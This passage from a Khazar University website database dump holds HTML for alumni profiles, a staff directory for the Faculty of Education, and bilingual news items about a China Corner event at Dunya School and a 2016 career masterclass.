href=\"https://www.facebook.com/shafag.mehraliyeva/about\"></a>Facebook :  <a href=\"https://www.facebook.com/shafag.mehraliyeva/about\">https://www.facebook.com/shafag.mehraliyeva/about</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Emin%20Rustamov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Emin Rustamov&nbsp;</strong>&nbsp;<br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Vice President at&nbsp;<a href=\"https://www.facebook.com/AssociazioneGioventuItaloAzerbaigiana/?ref=br_rs\">Associazione Gioventù Italo-Azerbaigiana</a>&nbsp;</p> <p>Studies at&nbsp;Sapienza Università di Roma  <br></p><p><a href=\"https://www.facebook.com/emin.rustemov.9?fref=ts\"></a>Facebook :  <a href=\"https://www.facebook.com/emin.rustemov.9?fref=ts\">https://www.facebook.com/emin.rustemov.9?fref=ts</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/fidan_orucova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fidan Orucova</strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Filalogiya</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Institute of young democrats(volunteer)</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:<a href=\"mailto:fialkakhj@gmail.com\">fialkakhj@gmail.com</a></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor   2015</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sardar_Yusifoglu.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Sardar Yusifoglu&nbsp;</strong>&nbsp;<br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Workes at&nbsp;<a href=\"https://www.facebook.com/Youthfordevelopment.az/?ref=br_rs\">Youth For Development Public Union</a>&nbsp;  <br></p><p>Workes at&nbsp;<a href=\"https://www.facebook.com/nayora.az/?ref=br_rs\">National Assembly of Youth Organizations of the Republic of Azerbaijan</a></p><p mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Studied Culture and Politics at&nbsp;<a href=\"https://www.facebook.com/pages/Georgetown-University/108002152557044?ref=br_rs\">Georgetown University</a></p><p>Facebook :&nbsp;<a href=\"https://www.facebook.com/SYusifoglu/about\">https://www.facebook.com/SYusifoglu/about</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sabina.Kerimova.(Badalova).jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Sabina Kerimova (Badalova)</strong></p><p>School of Humanities and Social Sciences &nbsp; &nbsp;</p><p>Works at&nbsp;<a href=\"https://www.facebook.com/pages/Mercer-University-School-of-Medicine/430665713610206?ref=br_rs\">Mercer University School of Medicine</a>, USA&nbsp;</p><p>Facebook :&nbsp;<a href=\"https://www.facebook.com/sabina.badalova.7/about\" style=\"font-family:\'Times New Roman\', serif;font-size:16pt;background-color:#fffffff\">https://www.facebook.com/sabina.badalova.7/about</a></p><p><a href=\"https://www.facebook.com/sabina.badalova.7/about\" style=\"font-family:\'Times New Roman\', serif;font-size:large\"></a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Farid.Guliyev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Farid Guliyev&nbsp;</strong>&nbsp;<br></p><p>School of Education&nbsp;</p><p>Təsisçi və Rəhbər at&nbsp;<a href=\"https://www.facebook.com/bakumozbooks/?ref=br_rs\">Bakumoz Books</a>  <br></p><p><a href=\"https://www.facebook.com/farid.karimli?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\"></a>Facebook :&nbsp;<a href=\"https://www.facebook.com/farid.karimli?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\">https://www.facebook.com/farid.karimli?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all</a>&nbsp;&nbsp;</p></td></tr><tr><td><img src=\"/files/alumni/images/Nigar_Karimova.jpg\" style=\"width:150px;height:200px;float:left\"><br></td><td><p><strong>Nigar Karimova&nbsp;&nbsp;</strong><br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Trainee at&nbsp;<a href=\"https://www.facebook.com/europeanparliament/?ref=br_rs\">European Parliament</a>  <br></p><p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Human Resources\r\nDepartment at&nbsp;<a href=\"https://www.facebook.com/AZESOCAR/?ref=br_rs\">State Oil Company of Azerbaijan Republic</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Works at&nbsp;<a href=\"https://www.facebook.com/SOCARofficial/?ref=br_rs\">SOCAR</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Studied Master of Arts\r\nin Human Resource Management at&nbsp;<a href=\"https://www.facebook.com/pages/University-of-York-York-UK/106309702740634?ref=br_rs\">University of York, York, UK</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Studied Human Resource\r\nManagement at&nbsp;<a href=\"https://www.facebook.com/pages/University-of-York/112735778738269?ref=br_rs\">University of York</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Studied at&nbsp;<a href=\"https://www.facebook.com/pages/Khazar-University-Bachelor-of-Arts-in-International-Relations/197681023689707?ref=br_rs\">Khazar University Bachelor of Arts in International\r\nRelations</a></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-left:0in;text-indent:-.25in;line-height:12.0pt;background:white\";margin-bottom:auto\"=\"\">Studied at&nbsp;<a href=\"https://www.facebook.com/pages/Khazar-University/109570912395277?ref=br_rs\">Khazar University</a></p>  <p><a href=\"https://www.facebook.com/nigar.karimova.5?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all&amp;qsefr=1\"></a>Facebook :  <a href=\"https://www.facebook.com/nigar.karimova.5?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all&amp;qsefr=1\">https://www.facebook.com/nigar.karimova.5?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all&amp;qsefr=1</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Alakbar_Ibrahimov.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\"><span style=\"box-sizing:border-box;font-weight:bold\">Alakbar İbrahimov&nbsp;</span></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">School of Economics and Management</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Finance</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Malaziya</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">E-mail:&nbsp;&nbsp;<a href=\"mailto:alekperibragimov@gmail.com\">alekperibragimov@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"box-sizing: border-box; margin: 0px 0px 10px; font-size: 18px; color: rgb(37, 37, 37); font-family: \" source=\"\" sans=\"\" pro\",=\"\" sans-serif;=\"\" background-color:=\"\" rgb(255,=\"\" 255,=\"\" 255);\"=\"\">Bachelor 2010&nbsp;</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Sevinj_Isgenderova.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Sevinj Isgenderova&nbsp;</strong>&nbsp;<br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Studied Adult Education and Training at&nbsp;<a href=\"https://www.facebook.com/jamesmadisonuniversity/?ref=br_rs\">James Madison University</a><span style=\"font-family:\'Times New Roman\', serif;font-size:12pt;text-indent:-0.25in;color:#365899\"></span></p><p>Graduate Recruitment Assistant at&nbsp;<a href=\"https://www.facebook.com/jamesmadisonuniversity/?ref=br_rs\">James Madison University</a>  <br></p><p><a href=\"https://www.facebook.com/jamesmadisonuniversity/?ref=br_rs\"></a>Lives in&nbsp;<a href=\"https://www.facebook.com/pages/Harrisonburg-Virginia/109483139069465?ref=br_rs\">Harrisonburg, Virginia</a></p><p><a href=\"https://www.facebook.com/pages/Harrisonburg-Virginia/109483139069465?ref=br_rs\"></a>Facebook :&nbsp;<a href=\"https://www.facebook.com/sevinc.isgenderova?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\">https://www.facebook.com/sevinc.isgenderova?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all</a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Ramil_Aliyev.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Ramil Aliyev</strong></p><p>School of Humanities and Social Sciences&nbsp;<br></p><p>Daglig leader at&nbsp;<a href=\"https://www.facebook.com/Saiff-Sagene-Internasjonale-og-Flerkulturelle-Frivillighetssentral-194195104008312/?ref=br_rs\">Saiff - Sagene Internasjonale og Flerkulturelle Frivillighetssentral</a></p><p>Past :&nbsp;<a href=\"https://www.facebook.com/NAYO-Norwegian-Azerbaijanis-Youth-Organization-208003122590088/\">NAYO - Norwegian Azerbaijanis\' Youth Organization</a><a href=\"https://www.facebook.com/pages/Nowegian-Azerbaijanis-Youth-Organization-NAYO/595234183861926\">Nowegian Azerbaijanis\' Youth Organization - NAYO</a></p><p>Studied Faculty of Law:&nbsp;Norwegian Centre of Human Rights at&nbsp;<a href=\"https://www.facebook.com/pages/University-of-Oslo/104069842963665?ref=br_rs\">University of Oslo</a></p><p>Lives in&nbsp;<a href=\"https://www.facebook.com/pages/Oslo-Norway/110848678937314?ref=br_rs\">Oslo, Norway</a>&nbsp;<br></p><p><a href=\"https://www.facebook.com/pages/Oslo-Norway/110848678937314?ref=br_rs\"></a><a href=\"https://www.facebook.com/ramil.aliyev?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\"></a>Facebook :&nbsp;<a href=\"https://www.facebook.com/ramil.aliyev?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\">https://www.facebook.com/ramil.aliyev?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all</a></p>  <p><a href=\"https://www.facebook.com/ramil.aliyev?fref=pb&amp;hc_location=friends_tab&amp;pnref=friends.all\"></a></p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Bayramova_N%C9%99rmin.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p><strong>Bayramova Nərmin&nbsp;</strong><br></p><p>School of Humanities and Social Sciences&nbsp;</p><p>Hüquq üzrə fəlsəfə doktoru &nbsp;</p><p>Hüquq və kadr məsələləri şöbəsi /Şöbə müdiri&nbsp;  <br></p><p>Xəzər Universiteti, AMEA Fəlsəfə və Hüquq İnstitutu <br></p><p>Dövlət qulluğunun kiçik müşaviri&nbsp;</p><p>28.06.2001-01.12.2007&nbsp;<strong>-</strong>&nbsp;Azərbaycan Elmi-Tətqiqat Məhkəmə Ekspertizası, Kriminalistika və Kriminologiya Problemləri İnstitutunda, kiçik elmi işçi, elmi işçi  <br></p><p>01.12.2007-30.01.2015\r\n- Azərbaycan Respublikasının Prezidenti yanında Dövlət Qulluğu Məsələləri üzrə\r\nKomissiya,&nbsp;baş məsləhətçi, sektor müdiri&nbsp;</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">02.02.2015-18.02.2015 - Azərbaycan Respublikasının Dövlət Şəhərsalma və\r\nArxitektura Komitəsi, şöbə müdirinin müavini</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;line-height:normal;background:white\"\"=\"\">18.02.2015-h/h - Azərbaycan Respublikasının Dövlət Şəhərsalma və\r\nArxitektura Komitəsinin Hüquq və kadr məsələləri şöbəsinin müdiri</p>  </td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/GULNAR_AGAYEVA.png\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Gulnar Aghayeva</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Management</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:gulnar.agayeva.1994@gmail.com\">gulnar.agayeva.1994@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Bachelor 2016</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Fidan_Bayramli..png\" style=\"float:left;width:150px;height:200px\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Fidan Bayramli</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">International Economic Relations</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail: &nbsp;<a href=\"mailto:fidanbayramli@yahoo.com\">fidanbayramli@yahoo.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">MBA 2016</p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Raj_Rajeevan.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Raj Rajeevan&nbsp;&nbsp;</strong><br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">School of Engineering and Applied Sciences&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Major Petroleum Enginnering&nbsp;<br></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Business in India&nbsp;</p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"http://mailto:%20rajcr1989@hotmail.com/\">rajcr1989@hotmail.com</a></p></td></tr><tr><td>&nbsp;<img src=\"/files/alumni/images/Zeyneb_Safarova%20.jpg\" style=\"width:150px;height:200px;float:left\"></td><td><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><strong>Zeynab Safarova</strong></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">Finance</p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\">E-mail:&nbsp;<a href=\"mailto:zeyneb.safarova93@gmail.com\">zeyneb.safarova93@gmail.com</a></p><p margin-bottom:7.5pt;line-height:normal;background:white\"\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");\"=\"\"><a href=\"mailto:zeyneb.safarova93@gmail.com\"></a>Bachelor 2016</p></td></tr>\r\n</tbody></table>'),(2458,1488,'az','“Dünya”nın şagirdləri üçün “Çin guşəsi” təşkil olundu','2016-cı il oktyabrın 26-da Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin əməkdaşları –“Çin guşəsi”nin layihə rəhbəri Səidə Orucova və koordinatoru Esmira Mehdiyeva...','<p>2016-cı il\r\noktyabrın 26-da Xəzər Universitetinin Kitabxana-İnformasiya Mərkəzinin əməkdaşları\r\n–“Çin guşəsi”nin layihə rəhbəri Səidə Orucova və koordinatoru Esmira Mehdiyeva\r\n“Dünya” məktəbinin şagirdləri üçün “Çin xalq oyunları və Çin kitablarının sərgisi”\r\nadlı tədbir keçirdilər. Tədbirdə BDU-nin nəznində yerləşən Konfutsi\r\nİnstitutunun direktoru xanım Luo Xiaozhi və institutun müəllimləri iştirak\r\nedirdilər. Tədbiri lahiyənin rəhbəri Səidə Orucova açaraq, “Çin guşəsi” və Çin\r\nhaqqında maraqli məlumatlar verdi. Esmira Mehdiyeva şagirdləri kitablar və\r\noyunlar barədə məlumatlandırdı. Daha sonra, Çin dili müəllimləri şagirdlərə Çin\r\nxalq oyunlarını nümayiş edirdilər. Tədbir oyunlar və viktronalarla davam etdi. </p>\r\n<p>Şagirdlərə Xəzər\r\nUniversiteti və Konfutsi İnstitutunun hazırladığı hədiyyələr təqdim olundu. </p>\r\n<p>Sonda şagirdlər\r\nsərgi ilə tanış oldular.</p>'),(2459,1488,'en','China Corner Opened in Dunya School ','On October 26, 2016, Khazar University’s Library and Information Center staff members Saida Orujova (China Corner project manager) and Esmira Mehdiyeva (coordinator) held an event...','<p>On\r\nOctober 26, 2016, Khazar University’s Library and Information Center staff\r\nmembers Saida Orujova (China Corner project manager) and Esmira Mehdiyeva\r\n(coordinator) held an event entitled “Chinese Folk Games and Exhibit of Chinese\r\nBooks” for the students of the university’s affiliate Dunya School.\r\nParticipants included Luo Xiaozhi, Director of the Confucius Institute\r\naffiliated with Baku State University, and Chinese language instructors. Saida\r\nOrujova opened the event with a speech about the China Corner and about China.\r\nEsmira Mehdiyeva informed the students about the books and games. Then Chinese\r\nlanguage instructors showed the students how to play the games. The event\r\ncontinued with activities and quizzes. </p>\r\n<p>Students\r\nreceived gifts from Khazar University and the Confucius Institute. Then they\r\ntoured the exhibit.&nbsp;</p>'),(2469,1493,'en','How to Build a Successful Career Masterclass','On October 31, 2016, the Khazar University Alumni Association and Khazar University Career Center will hold a masterclass for final-year bachelor’s and master’s students...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nOctober 31, 2016, the Khazar University Alumni Association and Khazar\r\nUniversity Career Center will hold a masterclass for final-year bachelor’s and\r\nmaster’s students on “How to Build a Successful Career.” </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Students\r\nwho speak English well are invited to participate. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\nevent will begin at 16:00.</p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong style=\"text-indent:0.25in\"><span style=\"font-size:12.0pt;font-family:\'Times New Roman\',\'serif\'\">Center\r\nfor Alumni Relations</span></strong></p> <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\"><strong></strong></p>'),(880,231,'az','Doktorantura','Doktorantura',''),(881,582,'az','İşçi Heyət','İşçi Heyət','<p><a href=\"http://www.khazar.org/files/education/CV/elza_semedli_cv.pdf\"><strong><img src=\"/files/azelang_depart/elza_s.jpg\" style=\"width:150px;height:175px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Elza N. Səmədova</strong></a>&nbsp;</p><p><strong>Təhsil Fakultəsinin Dekanı</strong></p><p>PhD,&nbsp;Çağdaş Türk Ləhcələri&nbsp;(Konya Selçuk Universiteti, Türkiyə)&nbsp;</p><p>MA, Çağdaş Türk Ləhcələri&nbsp;(Kayseri&nbsp;Erciyes Universiteti, Türkiyə)<em>&nbsp;</em></p><p><em></em><strong></strong><strong>E-mail:</strong>&nbsp;<a href=\"mailto:esemedova@khazar.org\">esemedova[at]khazar.org</a>  <a href=\"http://mailto:esemedova@khazar.org/\"></a></p><p><br></p>\r\n<hr>\r\n<img src=\"/files/social/_Raziya_Isayeva.jpg\" width=\"150\" height=\"260\" style=\"border:0px  #000000;width:150px;height:260px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziyə&nbsp;İsayeva</a></strong></p><p><strong>İnkişaf Mərkəzinin direktoru, müəllim</strong><br></p><p><strong>Email:&nbsp;</strong><a href=\"mailto:risayeva@khazar.org\">risayeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p> \r\n<hr>\r\n<p><img src=\"/files/edu_depart/goshgar_m.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\"><strong><a href=\"http://www.khazar.org/files/edu_depart/Goshgar_-_CV_.PDF\">Qoşqar Məhərrəmov</a></strong></p><p>Təhsil Departamentinin Koordinatoru</p><p>PhD, Təhsilin Təşkili və İdarə Olunması&nbsp;(Eskişehir Osmangazi Üniversitesi, Türkiyə)</p><p>MA,&nbsp;Təhsilin Təşkili və İdarə Olunması&nbsp;(Eskişehir Osmangazi Üniversitesi, Türkiyə)</p><p style=\"padding-left:160px\"><strong>E-mail:&nbsp;</strong><a href=\"mailto:gmaharramov@khazar.org\">gmaharramov[at]khazar.org</a>  <a href=\"http://mailto:gmaharramov@khazar.org/\"></a></p><p style=\"padding-left:160px\"><br></p>\r\n<hr>\r\n<p><a href=\"http://www.khazar.org/files/pdf/Ulkar_Bayramova_CV_.pdf\"><img src=\"/files/letters/ulkar_b.jpg\" style=\"border:0px  #000000;width:150px;height:187px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"></a><a href=\"http://www.khazar.org/files/pdf/Ulkar_Bayramova_CV_.pdf\"><strong>Ülkər Bayramova</strong></a></p><p>İnkişaf Mərkəzində Layihə Meneceri</p><p>PhD, E-Learning (Azərbaycan Milli Elmlər Akademiyası)</p><p>MA, Pedaqogika&nbsp;(Lənkəran Dövlət Universiteti,&nbsp;Azərbaycan)</p><p style=\"padding-left:160px\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:ubayramova@khazar.org/\">ubayramova[at]khazar.org</a></p><p style=\"padding-left:160px\"><br></p>\r\n<hr>\r\n<p><img src=\"/files/edu_depart/%D0%9A%D0%BE%D0%BF%D0%B8%D1%8F%20foto%2001.jpg\" style=\"width:150px;height:200px;margin:7px;float:left\"><a href=\"http://www.khazar.org/files/edu_depart/CV-eng_last.PDF\"><strong>Rüxsarə Quliyeva</strong></a></p><p>PhD, Tarix&nbsp;(Azərbaycan Milli Elmlər Akademiyası)  </p><p>MA, Tarix&nbsp;(Bakı Dövlət Universiteti, Azərbaycan)&nbsp;</p><p><strong>E-mail:&nbsp;</strong><a href=\"mailto:ruxsaraguliyeva@gmail.com/\">ruxsaraguliyeva[at]gmail.com</a></p><p><br></p><p><br></p>  \r\n<hr>\r\n<p><img src=\"/files/edu_depart/konul.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:150px\"><a href=\"http://www.khazar.org/files/edu_depart/Konul_Mahyaddinova_CV.pdf\"><strong>Könül Məhyəddinova</strong></a></p><p>PhD namizədi, Pedaqogika&nbsp;(Azərbaycan Milli Elmlər Akademiyası)  </p><p>MA, Pedaqogika (Bakı Slavyan Universiteti, Azərbaycan)&nbsp;</p><p><strong></strong><strong>E-mail</strong><strong>:</strong>&nbsp;<a href=\"mailto:konul.mahyaddinova09@gmail.com\">konul.mahyaddinova09[at]gmail.com</a>&nbsp;</p><p><br></p>\r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/education/CV/kamala_aliyeva_CV.pdf\"><img src=\"/files/education/images/kamala_aliyeva.jpg\" style=\"width:150px;height:149px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\">Kəmalə Əliyeva</a></strong></p><p>Autizm və Öyrənmə&nbsp;İnkişafı ixtisası üzrə&nbsp;PhD namizədi&nbsp;(Xəzər Universiteti, Azərbaycan)    </p><p>İnkişaf Psixologiyası (Uşaq psixologiyası)&nbsp;üzrə&nbsp;magistr (Bakı&nbsp;Dövlət Universiteti,&nbsp;Azərbaycan)  <br></p><p><strong>E-mail</strong><strong>:</strong>  <a href=\"mailto:k.aliyevaugur@gmail.com\">k.aliyevaugur[at]gmail.com</a></p><p><br></p>\r\n<hr>\r\n<img src=\"http://www.khazar.org/files/edu_depart/sevda_i.jpg\" style=\"float:left;margin-left:7px;margin-right:7px;margin-bottom:7px;width:150px;height:163px\"><p><strong><a href=\"http://www.khazar.org/files/edu_depart/CV-sevda_Ismayilova.pdf\">Sevda İsmayılova</a></strong><br></p><p>İngilis dili üzrə magistr&nbsp;(Azərbaycan Dillər Universiteti)</p><p style=\"text-align:left\"><strong>E-mail:</strong>&nbsp;<a href=\"mailto:iseva@yahoo.com\">iseva[at]yahoo.com</a>  <br></p><p><br></p><p><br></p>'),(882,582,'en','Faculty and Staff','Faculty and Staff','<p><img src=\"/files/azelang_depart/elza_s.jpg\" style=\"width:150px;height:175px;margin-left:7px;margin-right:7px;margin-bottom:7px;float:left\"><strong><a href=\"http://www.khazar.org/files/education/CV/elza_semedli_cv.pdf\">Elza N. Samedova</a>&nbsp;-&nbsp;Dean</strong>&nbsp;</p><p><strong>Associate Professor</strong></p><p>PhD in&nbsp;Philology&nbsp;(Konya Selcuk University, Turkey)</p><p>MA in&nbsp;Philology&nbsp;(Kayseri Erciyes University, Turkey)</p><p><a href=\"mailto:esemedova@khazar.org\"></a><strong>E-mail:</strong>  <a href=\"mailto:esemedova@khazar.org\">esemedova[at]khazar.org</a>&nbsp;</p><p><br></p>\r\n<hr>\r\n<img src=\"/files/social/_Raziya_Isayeva.jpg\" width=\"150\" height=\"260\" style=\"border:0px  #000000;width:150px;height:260px;margin-right:7px;margin-bottom:7px;margin-left:7px;float:left\"><p><strong><a href=\"http://www.khazar.org/files/admin/raziya_isayeva_cv.pdf\">Raziya&nbsp;Isayeva</a> -&nbsp;</strong><strong>Lecturer</strong></p><p><strong>Email:&nbsp;</strong><a href=\"mailto:risayeva@khazar.org\">risayeva[at]khazar.org</a></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p><p><br></p> \r\n<hr>\r\n<p><strong><a href=\"http://www.khazar.org/files/edu_depart/Goshgar_-_CV_.PDF\"></a><img src=\"/files/edu_depart/goshgar_m.jpg\" style=\"float:left;width:150px;height:200px;margin-left:7px;margin-right:7px;margin-bottom:7px\">  <a href=\"http://www.khazar.org/files/edu_depart/Goshgar_-_CV_.PDF\">Goshgar Maharramov</a></strong>&nbsp;-&nbsp;<strong>Coordinator, Lecturer</strong></p><p>PhD&nbsp;candidate in&nbsp;Educational Administration&nbsp;(Eskishehir Osmangazi University, Turkey)</p><p>MA in&nbsp;Educational Administration&nbsp;(Eskishehir Osmangazi University, Turkey)</p><p><strong></strong><strong>E-mail:&nbsp;</strong><a href=\"mailto:gmaharramov@khazar.org\">gmaharramov[at]khazar.org</a>  <a href=\"http://mailto:gmaharramov@khazar.org\"></a></p><p><br></p><p><br></p>\r\n<hr><a 